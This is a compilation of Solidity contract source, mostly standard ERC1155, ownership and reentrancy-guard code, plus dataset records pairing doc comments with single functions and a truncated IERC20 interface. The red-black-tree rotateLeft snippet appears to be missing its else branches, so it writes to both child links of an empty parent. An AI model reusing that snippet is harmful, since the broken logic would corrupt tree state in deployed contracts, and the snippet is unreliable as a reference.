https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Creates `amount` tokens of token type `id`, and assigns them to `account`. Emits a {TransferSingle} event. Requirements: - `account` cannot be the zero address. - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the acceptance magic value./
function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); }
15,684
./partial_match/11155111/0x37523dFFe2a485Afa8Ef662827acF9E835C040Bd/sources/Users/chichke/Documents/Work/Freelance/RealT/bridge-v2/contracts/operating/ComplianceRegistry.sol
Registers a new user corresponding to an address and sets its initial attributes _address the address to register _attributeKeys array of keys of attributes to set _attributeValues array of values of attributes to set/
function _registerUser(address _address, uint256[] memory _attributeKeys, uint256[] memory _attributeValues) internal { uint256 _userCount = userCount[_msgSender()] + 1; addressUsers[_msgSender()][_address] = _userCount; userAddresses[_msgSender()][_userCount].push(_address); userCount[_msgSender()] = _userCount; emit AddressAttached(_msgSender(), _userCount, _address); _updateUserAttributes(_userCount, _attributeKeys, _attributeValues); }
3,536,162
./full_match/432204/0xDD23b1253020B8C66DB630fc091D1cC3E984A878/sources/contracts/library/RBTLibrary.sol
Do a left rotation for the key in the tree self stored tree from contract _key key of the node being returned/
function rotateLeft(Tree storage self, uint256 _key) private { uint256 cursor = self.nodes[_key].right; uint256 keyParent = self.nodes[_key].parent; uint256 cursorLeft = self.nodes[cursor].left; self.nodes[_key].right = cursorLeft; if (cursorLeft != EMPTY) { self.nodes[cursorLeft].parent = _key; } self.nodes[cursor].parent = keyParent; if (keyParent == EMPTY) { self.root = cursor; self.nodes[keyParent].left = cursor; self.nodes[keyParent].right = cursor; } self.nodes[cursor].left = _key; self.nodes[_key].parent = cursor; }
16,381,271
./partial_match/1/0xC7176620daf49A39a17FF9A6C2DE1eAA6033EE94/sources/src/v0.8/ccip/ocr/OCR2BaseNoChecks.sol
sets offchain reporting protocol configuration incl. participating oracles signers addresses with which oracles sign the reports transmitters addresses oracles use to transmit the reports f number of faulty oracles the system can tolerate onchainConfig encoded on-chain contract configuration offchainConfigVersion version number for offchainEncoding schema offchainConfig encoded off-chain oracle configuration
function setOCR2Config( address[] memory signers, address[] memory transmitters, uint8 f, bytes memory onchainConfig, uint64 offchainConfigVersion, bytes memory offchainConfig ) external override checkConfigValid(transmitters.length, f) onlyOwner { _beforeSetConfig(onchainConfig); uint256 oldTransmitterLength = s_transmitters.length; for (uint256 i = 0; i < oldTransmitterLength; ++i) { delete s_oracles[s_transmitters[i]]; } uint256 newTransmitterLength = transmitters.length; for (uint256 i = 0; i < newTransmitterLength; ++i) { address transmitter = transmitters[i]; if (s_oracles[transmitter].role != Role.Unset) revert InvalidConfig("repeated transmitter address"); if (transmitter == address(0)) revert OracleCannotBeZeroAddress(); s_oracles[transmitter] = Oracle(uint8(i), Role.Transmitter); } s_transmitters = transmitters; s_configInfo.f = f; s_configInfo.n = uint8(newTransmitterLength); s_configInfo.latestConfigDigest = _configDigestFromConfigData( block.chainid, address(this), ++s_configCount, signers, transmitters, f, onchainConfig, offchainConfigVersion, offchainConfig ); uint32 previousConfigBlockNumber = s_latestConfigBlockNumber; s_latestConfigBlockNumber = uint32(block.number); emit ConfigSet( previousConfigBlockNumber, s_configInfo.latestConfigDigest, s_configCount, signers, transmitters, f, onchainConfig, offchainConfigVersion, offchainConfig ); }
15,916,792
./partial_match/1/0xbA84A6aab0772D6eCb877d8515cc9131c259245d/sources/apein.sol
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msg.sender, spender, allowance(msg.sender, spender) + addedValue ); return true; }
3,948,120
./full_match/3/0x96A78a17dFc547c72EEe5B14271F12296fbF7D7C/sources/CoolMeteorsNFT.sol
=============================================================================
function withdraw() public payable onlyOwner { uint devBalance = (address(this).balance * 5 / 100); dev.transfer(devBalance); payable(owner()).transfer(address(this).balance); }
8,224,749
/** *Submitted for verification at Etherscan.io on 2021-12-06 */ // File: contracts/AnonymiceLibrary.sol pragma solidity ^0.8.0; library AnonymiceLibrary { string internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))) ) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function parseInt(string memory _a) internal pure returns (uint8 _parsedInt) { bytes memory bresult = bytes(_a); uint8 mint = 0; for (uint8 i = 0; i < bresult.length; i++) { if ( (uint8(uint8(bresult[i])) >= 48) && (uint8(uint8(bresult[i])) <= 57) ) { mint *= 10; mint += uint8(bresult[i]) - 48; } } return mint; } function substring( string memory str, uint256 startIndex, uint256 endIndex ) internal pure returns (string memory) { bytes memory strBytes = bytes(str); bytes memory result = new bytes(endIndex - startIndex); for (uint256 i = startIndex; i < endIndex; i++) { result[i - startIndex] = strBytes[i]; } return string(result); } function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } } // File: contracts/interfaces/IAxonsVoting.sol /// @title Interface for Axons Auction Houses pragma solidity ^0.8.6; interface IAxonsVoting { struct Auction { // ID for the Axon (ERC721 token ID) uint256 axonId; // The current highest bid amount uint256 amount; // The time that the auction started uint256 startTime; // The time that the auction is scheduled to end uint256 endTime; // The address of the current highest bid address payable bidder; // Whether or not the auction has been settled bool settled; } function currentWinnerForAuction(uint256 counter) external view returns (uint256); function setupVoting(uint256 auctionCounter) external; } // File: contracts/interfaces/IAxonsAuctionHouse.sol /// @title Interface for Axons Auction Houses pragma solidity ^0.8.6; interface IAxonsAuctionHouse { struct Auction { // ID for the Axon (ERC721 token ID) uint256 axonId; // The current highest bid amount uint256 amount; // The time that the auction started uint256 startTime; // The time that the auction is scheduled to end uint256 endTime; // The address of the current highest bid address payable bidder; // Whether or not the auction has been settled bool settled; // The auction counter uint256 counter; } event AuctionCreated(uint256 indexed axonId, uint256 startTime, uint256 endTime); event AuctionBid(uint256 indexed axonId, address sender, uint256 value, bool extended); event AuctionExtended(uint256 indexed axonId, uint256 endTime); event AuctionSettled(uint256 indexed axonId, address winner, uint256 amount); event AuctionTimeBufferUpdated(uint256 timeBuffer); event AuctionReservePriceUpdated(uint256 reservePrice); event AuctionMinBidIncrementPercentageUpdated(uint256 minBidIncrementPercentage); function currentAuction() external view returns(IAxonsAuctionHouse.Auction memory); function settleAuction() external; function settleCurrentAndCreateNewAuction() external; function createBid(uint256 axonId, uint256 amount) external; function pause() external; function unpause() external; function setTimeBuffer(uint256 timeBuffer) external; function setReservePrice(uint256 reservePrice) external; function setMinBidIncrementPercentage(uint8 minBidIncrementPercentage) external; } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of 